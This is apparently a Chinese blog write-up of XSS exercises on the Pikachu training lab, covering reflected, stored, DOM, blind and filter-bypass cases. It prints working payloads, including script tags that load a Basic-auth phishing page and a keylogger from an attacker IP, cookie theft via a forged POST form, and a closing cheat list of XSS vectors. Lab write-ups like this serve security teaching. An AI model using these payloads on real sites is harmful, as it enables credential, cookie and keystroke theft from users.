一、反射性XSS
(1)get方式
反射型:交互的数据一般不会被存在数据库里面,一次性,所见即所得,一般出现在查询页面等
形成XSS漏洞的主要原因是程序中输入和输出的控制不够严格导致“精心构造”的脚本输入后,
在输出到前端时被浏览器当作有效代码解析执行
我们的目的:插入一段JS代码,让其成功在浏览器端执行,即视为漏洞攻破,可以使用更加恶劣的代码来满足黑客需求。
随意输入,发现网页输出who is "输入内容",I don‘t care!
网页源码 第897行发现原本输入和提示,考虑先输入特殊字符看看后端返回的数据是否有处理
没有变化,原封不动的进去了。这样就很好解决,代码中的符号不会被修改过滤
直接输入测试的JS代码、
输不进去,长度有限制,但是已经顶掉了I dont care
通过F12查看器,找到输入窗口对应class=“xssr_in”,并发现限制最大长度为20,将其修改为200
嘿嘿嘿,直接上咯 print <script>alert("谁特么看NBA明星,二次元天下第一!")</script>
简直完美,第一个反射型XSS完成,同时看浏览器url发现我们的参数,后端未存储该内容。
(1)post方式
首先进行登录,尝试默认用户名admin密码123456,登录成功
得到get方式时熟悉的界面
由于是post方式,参数内容未出现在url当中。
准备好burp suite
可以看到message中特殊符号已经被处理
此时就需要,自己搭建恶意站点,在网站上放编写好的post表单
假设受害者点击该Post表单链接,他会自动向存在漏洞的站点提交Post请求。
修改post.html
准备攻击环境(很多教程里没有,事先准备好,尤其是config.inc.php的文件决定数据库能否成功访问)
输入链接,重定向到皮卡丘主页面,实际上已经收集到数据。
正常登录一次,携带用户名密码的cookies已经被获取。
到此反射性XSS全部完成
二、存储型XSS
先试图在留言板上留言(注意特殊字符的使用)
留言直接出现,刷新不改变,而且字符没有丢失替换
查看源码发现内容也直接出现在P标签中
写入xss弹窗直接成功
刷新页面可以看到很多弹窗,都是由于内容已经写入后台
尝试案例:钓鱼攻击,用一个Basic认证去做这个钓鱼攻击
在一个存在XSS漏洞的页面上面嵌入一个恶意请求,当用户打开这个页面时,这个页面就会像攻击者的服务器发送请求,这个请求会返回一个Basic认证的头部,这时候会弹出一个提示框,要求受害者输入账号密码,从而盗取用户的账号密码
先修改xfish下的fish.php,目录还在pkxss里,将目录改成攻击者能获取到数据的目录
清除之前的弹窗留言,将
<script src="http://192.168.171.129/pikachu/pkxss/xfish/fish.php"></script>
这一串payload写入
然后再访问时认证框就会出现
现实中很多人不会分辨这些就上当
成功捕获
案例2 键盘记录
修改 (攻击者)/pikachu/pkxss/rkeypress 下 rk.js 中的IP地址为攻击者地址
在rkserver.php注释掉允许跨域访问的代码
提交payload
<script src="http://192.168.171.129/pikachu/pkxss/rkeypress/rk.js"></script>
后在窗口随意输入信息,约1-2秒后弹出窗口
弹出页面请求失败的窗口后,在F12控制台发现已阻止跨域请求
把rkserver.php内容取消注释,点击确定,之后所有输入的内容都会被实时捕捉并发送给攻击者
到此案例2 键盘记录完成
三、DOM型XSS
先拿符号输入测试一下:
咦?‘"<>消失了,却在最右边出现了> ???
<>是个讨论的关键
页面源码这样写道:
看见function domxss了没
我们的文字通过字符串拼接的方式写进了< a href’“+str+”>里
那么payload就很好想了,闭合前面的引号!
#‘ onclick=alert("xss")>
DOM型XSS-X
和前面操作基本一致,源码里都给出了用什么payload
原理:
window.location.search 获取浏览器中URL的内容,然后赋值给 str
然后经过URL解码和字符串分隔,取出URL中的参数内容
再把 “+” 替换为 “ ”(空格),赋值给 xss
最后把 xss 拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中
跟前面的DOM不同的是,它的输入是从浏览器的URL中获取的,很像反射型XSS(get)
四、XSS盲打
盲打是指,我们输入的内容不会在前端出现,返回的响应往往是“请求完成”“发送完毕”之类的
但是后台能看见,管理员能看见
那么我们插入XSS就意味着
管理员登录时,就会执行代码,完成攻击!
通过源码或者提示进入后台,登录后就会看到
五、XSS过滤
先试试他要过滤什么嗷
失去了好多嗷
但是大小写混合呢?
成功的避开了
六.XSS htmlspecialchars
htmlspecialchars是一个函数,它会将预定义的字符转换为HTML对应实体,例如将< 转成 <
输入的字符,在查看器里发现都被转了
但是单引号好像还在
七.XSS href
这次无论用什么符号,都写到href里了
等等,好像冒号还在
javascript:alert(1234567)
八、js输出
这。。。好像不在页面上
找JS代码看看
闭合掉页面的script即可
‘</script><script>alert(‘xss‘)</script>
是不是很帅
变量直接进不了JS
https://www.cnblogs.com/xuehen/p/4814237.html
<script>alert("xss")</script> <script>alert(document.cookie)</script> <a href=javascript:alert(111)> <body onload=alert(‘XSS‘)> <img src=x onerror=alert(1)> <div onclick="alert(‘xss‘)">
原文:https://www.cnblogs.com/P201721230025/p/12081308.html